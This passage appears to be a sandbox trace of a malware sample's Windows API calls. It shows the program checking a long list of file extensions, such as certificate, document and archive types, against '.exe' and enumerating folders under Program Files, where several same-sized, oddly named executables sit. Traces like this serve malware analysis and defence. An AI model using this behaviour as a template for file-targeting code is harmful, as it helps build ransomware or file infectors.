	[0180.782] lstrlenW (lpString=".oqy") returned 4
	[0180.782] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0180.783] lstrlenW (lpString=".orf") returned 4
	[0180.783] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0180.783] lstrlenW (lpString=".p12") returned 4
	[0180.783] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0180.783] lstrlenW (lpString=".p7b") returned 4
	[0180.783] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0180.783] lstrlenW (lpString=".p7c") returned 4
	[0180.783] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0180.783] lstrlenW (lpString=".pam") returned 4
	[0180.783] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0180.783] lstrlenW (lpString=".pbm") returned 4
	[0180.783] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0180.783] lstrlenW (lpString=".pct") returned 4
	[0180.783] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0180.783] lstrlenW (lpString=".pcx") returned 4
	[0180.783] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0180.783] lstrlenW (lpString=".pdd") returned 4
	[0180.783] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0180.784] lstrlenW (lpString=".pdf") returned 4
	[0180.784] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0180.784] lstrlenW (lpString=".pdp") returned 4
	[0180.784] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0180.784] lstrlenW (lpString=".pef") returned 4
	[0180.784] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0180.784] lstrlenW (lpString=".pem") returned 4
	[0180.784] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0180.784] lstrlenW (lpString=".pff") returned 4
	[0180.784] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0180.784] lstrlenW (lpString=".pfm") returned 4
	[0180.784] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0180.784] lstrlenW (lpString=".pfx") returned 4
	[0180.784] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0180.784] lstrlenW (lpString=".pgm") returned 4
	[0180.784] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0180.784] lstrlenW (lpString=".php") returned 4
	[0180.784] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0180.784] lstrlenW (lpString=".php3") returned 5
	[0180.784] lstrcmpiW (lpString1=".php3", lpString2="r.exe") returned -1
	[0180.784] lstrlenW (lpString=".php4") returned 5
	[0180.784] lstrcmpiW (lpString1=".php4", lpString2="r.exe") returned -1
	[0180.784] lstrlenW (lpString=".php5") returned 5
	[0180.784] lstrcmpiW (lpString1=".php5", lpString2="r.exe") returned -1
	[0180.784] lstrlenW (lpString=".phtml") returned 6
	[0180.785] lstrcmpiW (lpString1=".phtml", lpString2="er.exe") returned -1
	[0180.785] lstrlenW (lpString=".pict") returned 5
	[0180.785] lstrcmpiW (lpString1=".pict", lpString2="r.exe") returned -1
	[0180.785] lstrlenW (lpString=".pl") returned 3
	[0180.785] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0180.785] lstrlenW (lpString=".pls") returned 4
	[0180.785] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0180.785] lstrlenW (lpString=".pm") returned 3
	[0180.785] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0180.785] lstrlenW (lpString=".png") returned 4
	[0180.785] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0180.785] lstrlenW (lpString=".pnm") returned 4
	[0180.785] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0180.785] lstrlenW (lpString=".pot") returned 4
	[0180.785] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0180.785] lstrlenW (lpString=".potm") returned 5
	[0180.785] lstrcmpiW (lpString1=".potm", lpString2="r.exe") returned -1
	[0180.785] lstrlenW (lpString=".potx") returned 5
	[0180.785] lstrcmpiW (lpString1=".potx", lpString2="r.exe") returned -1
	[0180.785] lstrlenW (lpString=".ppa") returned 4
	[0180.785] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0180.785] lstrlenW (lpString=".ppam") returned 5
	[0180.785] lstrcmpiW (lpString1=".ppam", lpString2="r.exe") returned -1
	[0180.785] lstrlenW (lpString=".ppm") returned 4
	[0180.786] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0180.786] lstrlenW (lpString=".pps") returned 4
	[0180.786] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0180.786] lstrlenW (lpString=".ppsm") returned 5
	[0180.786] lstrcmpiW (lpString1=".ppsm", lpString2="r.exe") returned -1
	[0180.786] lstrlenW (lpString=".ppt") returned 4
	[0180.786] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0180.786] lstrlenW (lpString=".pptm") returned 5
	[0180.786] lstrcmpiW (lpString1=".pptm", lpString2="r.exe") returned -1
	[0180.786] lstrlenW (lpString=".pptx") returned 5
	[0180.786] lstrcmpiW (lpString1=".pptx", lpString2="r.exe") returned -1
	[0180.786] lstrlenW (lpString=".prn") returned 4
	[0180.786] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0180.786] lstrlenW (lpString=".ps") returned 3
	[0180.786] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0180.786] lstrlenW (lpString=".psb") returned 4
	[0180.786] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0180.786] lstrlenW (lpString=".psd") returned 4
	[0180.786] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0180.786] lstrlenW (lpString=".pst") returned 4
	[0180.786] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0180.786] lstrlenW (lpString=".ptx") returned 4
	[0180.786] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0180.786] lstrlenW (lpString=".pub") returned 4
	[0180.786] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0180.786] lstrlenW (lpString=".pwm") returned 4
	[0180.787] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0180.787] lstrlenW (lpString=".pxr") returned 4
	[0180.787] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0180.787] lstrlenW (lpString=".py") returned 3
	[0180.787] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0180.787] lstrlenW (lpString=".qt") returned 3
	[0180.787] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0180.787] lstrlenW (lpString=".r3d") returned 4
	[0180.787] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0180.787] lstrlenW (lpString=".raf") returned 4
	[0180.787] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1
	[0180.787] lstrlenW (lpString=".rar") returned 4
	[0180.787] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0180.787] lstrlenW (lpString=".raw") returned 4
	[0180.787] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1
	[0180.788] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2c1c100, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1
	[0180.789] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3f71b00, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x11f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe", cAlternateFileName="")) returned 1
	[0180.789] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xbefe7b00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe", cAlternateFileName="")) returned 1
	[0180.789] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa417004f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x4b5c6e00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1
	[0180.790] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x45b35800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1
	[0180.790] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x5fed3600, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1
	[0180.790] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1
	[0180.790] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40d76dc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7b584100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0
	[0180.790] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0180.790] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0180.793] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40fe91bf, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40fe91bf, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0180.793] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0180.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Multimedia Platform\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40fe91bf, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40fe91bf, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76eb28
	[0180.797] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40fe91bf, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40fe91bf, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0180.797] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45ae47a0, ftCreationTime.dwHighDateTime=0x1d55b92, ftLastAccessTime.dwLowDateTime=0xbda65e50, ftLastAccessTime.dwHighDateTime=0x1d5c9dd, ftLastWriteTime.dwLowDateTime=0xbda65e50, ftLastWriteTime.dwHighDateTime=0x1d5c9dd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="catchuploaded.exe", cAlternateFileName="CATCHU~1.EXE")) returned 1
	[0180.797] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69444ba0, ftCreationTime.dwHighDateTime=0x1d5ba93, ftLastAccessTime.dwLowDateTime=0x84378b60, ftLastAccessTime.dwHighDateTime=0x1d5d2f9, ftLastWriteTime.dwLowDateTime=0x84378b60, ftLastWriteTime.dwHighDateTime=0x1d5d2f9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashfxp.exe", cAlternateFileName="")) returned 1
	[0180.874] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc4de00, ftCreationTime.dwHighDateTime=0x1d5951d, ftLastAccessTime.dwLowDateTime=0xa2022e60, ftLastAccessTime.dwHighDateTime=0x1d58372, ftLastWriteTime.dwLowDateTime=0xa2022e60, ftLastWriteTime.dwHighDateTime=0x1d58372, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="machinesaladafterwards.exe", cAlternateFileName="MACHIN~1.EXE")) returned 1
	[0180.874] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0180.874] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0180.874] FindClose (in: hFindFile=0x76eb28 | out: hFindFile=0x76eb28) returned 1
	[0180.875] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0180.875] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0180.876] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0180.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0180.939] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0180.939] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1
	[0180.939] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0180.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0180.944] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c944d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7120260d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.944] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0180.945] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0180.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0180.945] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c9e08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0180.945] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de44bfc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x788c92ac, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6da5ba00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1
	[0180.946] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de44bfc, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x788c92ac, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x6da5ba00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0
	[0180.946] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0180.946] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0180.946] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1
	[0180.946] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65418d00, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x65418d00, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x65418d00, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ca00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1
	[0180.946] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65418d00, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x65418d00, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x65418d00, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ca00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0
	[0180.946] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0180.947] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.947] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7034b0a0, ftCreationTime.dwHighDateTime=0x1d55c09, ftLastAccessTime.dwLowDateTime=0x6e5c78a0, ftLastAccessTime.dwHighDateTime=0x1d5738b, ftLastWriteTime.dwLowDateTime=0x6e5c78a0, ftLastWriteTime.dwHighDateTime=0x1d5738b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hart-changing-bills.exe", cAlternateFileName="HART-C~1.EXE")) returned 1
	[0180.947] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0c498a0, ftCreationTime.dwHighDateTime=0x1d58361, ftLastAccessTime.dwLowDateTime=0xeb49bf80, ftLastAccessTime.dwHighDateTime=0x1d5d4ac, ftLastWriteTime.dwLowDateTime=0xeb49bf80, ftLastWriteTime.dwHighDateTime=0x1d5d4ac, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="SCRIPT~1.EXE")) returned 1
	[0180.947] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1
